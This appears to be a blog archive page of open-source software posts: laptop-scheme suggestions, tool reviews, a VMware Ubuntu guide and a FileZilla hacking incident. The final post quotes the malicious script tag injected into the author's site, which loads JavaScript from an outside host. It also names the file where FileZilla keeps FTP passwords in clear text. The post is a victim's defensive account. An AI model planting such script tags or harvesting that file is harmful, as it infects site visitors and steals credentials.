Showing posts with label Open Source. Show all posts
Showing posts with label Open Source. Show all posts

How UP can lead India to knowledge based economy.

BJP has won UP assembly poll by huge margin, Yogi Adityanath has started office on war footing. In manifesto, BJP has announced that UP government would distribute free laptop and 1 Gb data connection with it. If this program is implemented in right way, UP may lead India to knowledge based economy.I have a few suggestions in this regard.
  • Laptop should have AMD processor instead of Intel. This will save money.
  • Money saved in processor should be used to provide as big hard drive as possible.Hard disk capacity of distributed laptop should be at least 512 Gb, preferably 1 Terabyte.
  • I assume laptop would have some sort of Microsoft Windows operating system. It will take some time when Linux will be at par with Windows.For time being its alright.
  • The laptops should have Libreoffice as office suite as it is free and open source. Features of Libreoffice are suffice for more than 99% of users who use Microsoft Office. https://www.libreoffice.org/download/download/
  • The laptops should also have photo editing open source application GIMP installed on machines. GIMP is open source and free application instead of Photoshop. https://www.gimp.org/
  • The laptops should have Wikipedia installed on it. https://en.wikipedia.org/wiki/Wikipedia:Database_download
  • Students from 5th class should try to learn shell programming. To make this happen complete install of Cygwin should be available on the laptops. https://www.cygwin.com/
  • The laptops should have free and open source text editor Notepad++ installed.Notepad++ have a lot of features including regular expressions. https://notepad-plus-plus.org/
  • Laptops should have XAMPP installed. Students should be encourged to learn PHP and Mysql. So, e-books should be provided to do so.Students from class 8 should be encouraged to learn PHP and Mysql. https://www.apachefriends.org/
  • Laptops should also Java installed on it.e-books for Java should be provided as well.Students from class 11th should be encouraged to learn Java. https://www.java.com/en/
  • Laptops should have open source IDE (Integrated Development Environment) Eclipse installed with plug-in for Java and PHP. https://eclipse.org/ide/
  • Laptop should also have Open Live Writer installed. It is a desktop blogging tool and supports Wordpress as well as Blogger. http://openlivewriter.org/
  • There should be e-book to configure Blogger with own domain name and putting Google Adsense on it.
  • E-books should also be available on laptop to provide information about Internet Marketing and various affiliate programs.
  • E-books should also introduce students about internet real estate aka Domain Names and how to make money from it.
  • Laptops should also have all free books like Gita, Mahabharat, Ramayan, Premchand’s work etc so that students may read it in free time.
Some Useful Links
http://www.warriorforum.com – For internet Marketing
http://www.domainstate.com – Domain Name Forum
http://www.inforum.in – Domain Name Forum dedicated to .in extension
http://www.idnforums.com – Domain Name Forum dedicated to IDN domains
http://www.digitalpoint.com – Internet Marketing etc forum
http://www.opensourcecms.com – Listing and demo of content management systems based in PHP and Mysql
http://www.javaranch.com – Place to learn Java
http://www.fiverr.com – One may get a job worth 5 USD by this website.
http://www.elance.com – One may bid for projects posted on the website.
http://www.odesk.com – Similar as elance.

I am sure the change will get reflected in UP economy within 2 years if laptop distribution is done in right way. What’s your opinion? Feel free to add more meat to it.

XAMPP for Windows Installation and Configuration

I had used LAMP (Linux, Apache, MySQL and PHP) since long. My main laptop is dual boot with with good old Windows XP and Ubuntu.I use a few critical tools that need Windows and these tools runs almost all the time. Hence, working with LAMPP was not an options. I needed something similar on Windows. I wanted Apache with PHP and MySQL support. An easy to use environment where I can experiment with Joomla in short term and PHP and MySQL. As it would be an development environment, security was an non-issue.

XAMPP a easy to use (Apache, PHP, MySQL, PHP and Perl) environment was the thing I needed. Best thing is it comes for Linux, Windows,Solaris and Mac. Windows version have a few option as well.XAMPP for Windows exists in three different flavors:

Installer
Probably the most comfortable way to install XAMPP.
ZIP:
For purists: XAMPP as ordinary ZIP archive.
7zip:
For purists with low bandwidth: XAMPP as 7zip archive.

I did choose 7zip format. Extracted in a folder E:\xampp and ran the program E:\xampp\xampp-control.exe. This program is known as XAMPP control panel. As the name suggests you can start  or stop the server component that comes with XAMPP.

xampp-control-panel

I started the Apache and MYSql server and worked with dowloaded Joomla code as well as Phpxref for Joomla code documentation (using Perl). It worked with charm. No configuration was needed. This is great development environment on Windows. Also did use MOD_REWRITE with apache and result was pleasant.

I would highly recommend this environment to people who are looking for LAMPP (Linux, Apache, MySql, PHP and Perl environment on windows.

Notepad replacement Notepad++ Review

Notepad is probably most basic application included with all versions of Windows.Notepad is a simple text editor.On Windows if you are looking for something better than Notepad, you may choose WordPad for text editing.There are certain features that are not available in Wordpad, like tabbed document support.Also, Wordpad purpose is more likely basic word processor where you can make text bold italic etc.But if you are just looking for a text editor which do much more than Notepad.Its Notepad++,it is free and open source as well.

For casual programmers who modify code this is must to have,it support syntax highlighting of almost all available language.A good tool to modify your html or php files.It support tabbed documents.Some of the other features of Notepad++ are

  • Auto completion
  • Line numbering
  • Regular expression support
  • Find and replace in multiple files support – To search for string or literal in files in certain directory,its useful tool
  • Show all characters support – It help you see control characters like – new line character etc as well.
  • UTF-8 support to edit even files in Hindi
  • Column Editor – If you want to add certain text before each column of certain number before each column, this feature is useful
  • Indent support
  • Block select mode- where you can select columns instead of row and use column editor if you need.

Overall a must have text editor for everyone.A right replacement for your notepad.You may download Notepad+= from their website.

Convert webpage,doc,docx,xls or anything to PDF using PDFcreator virtual printer

There are numerous tool available online and offline to convert a particular type of document to PDF.People love PDF because it give sense of inactive document.Also, it is easy to carry PDF for reading purpose.I convert a lot of web pages to PDF just to carry it in my USB drive for printing purpose.

PDFcreator is an open source virtual printer which converts  anything like webpage,doc,docx, xls,text file to PDF.It installs as a virtual printer.So if you want to convert a something to PDF all you need to print it using PDFcreator virtual printer

How to procure and install PDFcreator

You can get the software from source forge, http://sourceforge.net/projects/pdfcreator/ .Download the software,you will need to have administrative privilege to install it.Also, if you choose all default settings at install time, besides installing PDFcreator virtual printer installer, it also installs PDFForge toolbar for Internet Explorer and Firefox.PDFforgetoolbar also redirects all 404 error pages and DNS error to mybrowserbar.com. I don’t like it,so you may choose to deselect these add-on install at the install time.

Installation

  • start installer, first screen is “choose language” – default is English
  • Next screen - “welcome to PDFcreator setup wizard”,click next
  • Next screen - “License Agreement”
  • Next screen - “Type of Installation” – leave default, Standard Installation
  • Next screen - “Printer name” – leave default
  • Next screen “Select Destination Location”, by default it is c:\program files\PDFCreator, modify it if you want.
  • Next Screen - “PDFcreator Browser Add on” - “Set Yahoo! as my default search engine and notify me of changes” is checked.Uncheck it.Please refer image

browser-add-on

  • Next screen - “Select Components” - “PDFCreator browser add on for Internet explorer and Firefox” checked, Uncheck it.Please refer image

select-componets

  • You may choose default setting on subsequent screens.
  • PDFCreator will be installed as a printer named “PDFCReator” and you can access it from any program using “print” menu.

print driver

Did you find this utility useful? please share.

Installing/Creating Ubuntu Linux in Windows using VMware Image

Use cases :

  • You are a Windows user who want to experiment with Linux desktop version.
  • You have used Linux in past and love some of tools/utilities on Linux.You can have a virtual Linux environment.
  • You are domainer and do a lot of whois query possibly automated using shell scripting,but prefer Windows as primary OS.
  • You love perl scripting and want to enhance your skill on perl or shell scripting.
  • You want safe virus free environment for browsing.
  • There can be number of user case where although you need Primary desktop on Windows but want to have access to Linux as well.

Solutions

  • You can have more than one machine one for Windows one for Linux.
  • You can have have dual boot machine. Problem with dual boot is you have to decide at boot time which operating system you want to use.
  • Third option is running Windows as primary OS and using a virtual machine to run Linux.Virtual machine solutions come from a few companies,however most popular solution is from VMware.

Proposed Solution

  • Install Vmware player from VMWare and use existing Virtual appliance based on Ubuntu.

Steps

  • Go to Vmware and download VMWare player for Windows.You will have to register with Vmware for that. https://www.vmware.com/tryvmware/?p=player&lp=default . Installation is pretty standard as any Windows install.You will have to login as an account which has administrative privilege on your Windows machine.
  • Next download VMware virtual appliance/image from a location.I used http://chrysaor.info/?page=images&filter=Ubuntu . Chrysaor.info maintains up to date VMWare images of Ubuntu. Choose latest one, while writing this blog version Ubuntu 10.04 Desktop VMware image is latest. Download size is 1.1 Gb and download is via torrent. So you will need a torrent client.
  • Downloaded file is in tgz format.You will need an unzip utility to unzip this file,7-zip does the work.You should have at least 8 Gb of space free to download the zip and unzip it.Once you unzip downloaded file it will create a tar file (file with .tar extension).You will again have to use 7-zip to untar it in some folder.Once files are untared you may delete .tar file to save space.
  • Now start VMware player and choose “open a virtual machine” and browse to the location where you have extracted the file.Choose ubuntu1004desktop.vmx file and open it.
  • You may customize memory etc.by default it the image allocates 500 Mb of RAM.
  • Once you added the Ubuntu image to VMware player you may change memory allocation etc using edit virtual machine settings.
  • You are all done, now you need to start Ubuntu 10.x desktop as guest OS on Windows.Click on Virtual machine just added  and then click “play virtual machine”.
  • When you start virtual machine it may prompt you to download “vmware tools for linux”, you may choose “remind me later”.
  • Now Ubuntu 10.x is booting,after a few seconds it will stop at login page, a user is displayed with user name “user”.Password for user “user” is “chrysaor.info”.You may change the password after you login.root user password is not set,once you login you terminal to set root password using command “sudo passwd root”.Alternatively, you may use sudo command to perform actions as root.

ubuntu-login

In case,you you face any difficulty post in comments.

Extracting unzip gzip tar bzip tgz etc on Windows using 7 zip

If you use Windows you must be aware of Winzip utility.Winzip is not free and after evaluation version it forces you to wait for sometime before you may use it. Also, Winzip doesn’t  support all type of encrypted files zipped on Unix platform. There are cases where one have to Unzip files on Windows compressed on Unix system.Unix system typically uses tar,bzip2,gzip,tgz format to zip files.
7-zip is free open source alternative which supports files even compressed on Unix system.7-zip provides command line interface as well as GUI based File manager.7-zip supports packing/unpacking of 7z,zip,gzip,bzip2 and tar files.7-zip also support unpacking only of arj,cam,chm,cpio,deb,dmg,hfs,iso,lzh,lzma,msi,nsis,rar,rpm,udf,wim,xar and z files.
I am using 7-zip and I am very happy with this.Please share your experience.You may download 7-zip from http://www.7-zip.org/ website.

India unveils 1500 Rs - 30$ Laptop (notebook)-Picture

You might have heard about 100$ laptop project.They call it one laptop per child.India has come up with its own lower cost solution.Indian HRD minister unveiled a low cost access cum computing device. The price of device expected to be around 1500 Rs. (30-35$).This will be available to students through educational institutions by 2011.

The device runs on Linux and it won’t have hard drive but flash as storage.Device is expected to support

  • Video web conferencing facility
  • multimedia content viewer like  jpeg,.pdf,.png
  • Zip unzip utility
  • Internet browser with flash plug-in and javascript support
  • Productivity suite and computational software such as Open office,Scilab
  • Wireless communication I assume wifi driver
  • Remote device management capability
  • It says cloud computing option,I assume it means ability to work as cloud computing client.(Browser?)
  • Multimedia input-output interface

SIBAL COMPUTING DEVICE

Government has setup under National Mission on Education through Information and Technology (NMEICT) to provide connectivity in Universities and colleges.They are also creating high quality educational web based and video content.This access device will help them to leverage this.

My thoughts:As cloud computing is growing with fast pace a connected access device will be more than enough to provide productivity suite to students.Also, as a few million student will start using Linux  in their college days thanks to this device,adoption of Linux will go more mainstream in India in coming year.As for students who will pass out from these institutions can work with Cloud and Linux access, device a bad thing for Microsoft (?).

Also, India should be part of 100$ laptop project.As they are open for ideas to globally reduce cost of computing for students.

Sources

Low Cost access –Cum-Computing Device Unveiled by Shri Kapil Sibal



Filezilla Security Issues - Hackers are exploiting it

 I love filezilla, but what happened this month will make me to rethink if I need another ftp program. I am using filezilla 3.1.3.1 client on my PC. Suddenly one good day when I tried to access one of my website,Firefox gave warning as "Reported attack page". When you see this type of issue with your webpage your heartbeat increases.It means youe Web server is hacked!!

I used wget tool to download default page of the concerned web SITE.Found page was infected with 2 identical pieces of javascript code.One at the top of the page other at the bottom.

<script type="text/javascript" src="http://iopap.1upperdarby26.com/Backup.js" type="text/javascript">
<!--6bacf8b35cab0f596815865b2df682fa-->

I logged into my server and found index.php page was infected. I cleaned it. But no luck, on client side still there were malicious javascript code.I searched in that virtual directory.And found all index.html, index.php and .js (Javascript) file had it.My intial thought was that probably that hacker might have exploited security hole in Xoops.I was using open source CMS xoops on that website and haven't updated the installation for nearly couple of years.My assumption was they might have used backdoor script for the attack.
I started looking into logs.First I tried to figure out from access log.No luck.Then what I saw big ftp log files in log directory. When I opened it I was amazed,I didn't log using ftp in last few month.But ftp log was showing files being uploaded from numerous different IP addresses.As I have not used ftp for last many month I didn't thought my desktop might be culprit (when you are running antivirus with updated you assume you are safe,huh).I contacted my hosting provider and informed them that probably the box is being exploited and compromised at their end.After a few mail exchange what I found was beyond my imagination.
My desktop was infected with a variant of Gumlar.
Possibly my antivirus couldn't catch a pdf security hole and password was stolen from FILEZILLA. Filezilla makes hacker life easy.It saves ftp site configuration in xml and password in clear text.I wish I would have known it before.I would have not bothered to save password in filezilla then. Apparently Filezilla has no plan to encrypt the password.This is unbelievable.I agree our antivirus should catch these stuff but why make hacker's life easy. In my opinion password saved in filezilla should be encrypted.Or atleast they should warn user when one try to save password in Filezilla.If you want to know which file is used to save password it is C:\Documents and Settings\<username>\Application Data\FileZilla\sitemanager.xml .Where <username > is your windows user name.
So lesson is never save password in Filezilla or probably look for other alternatives.



, ,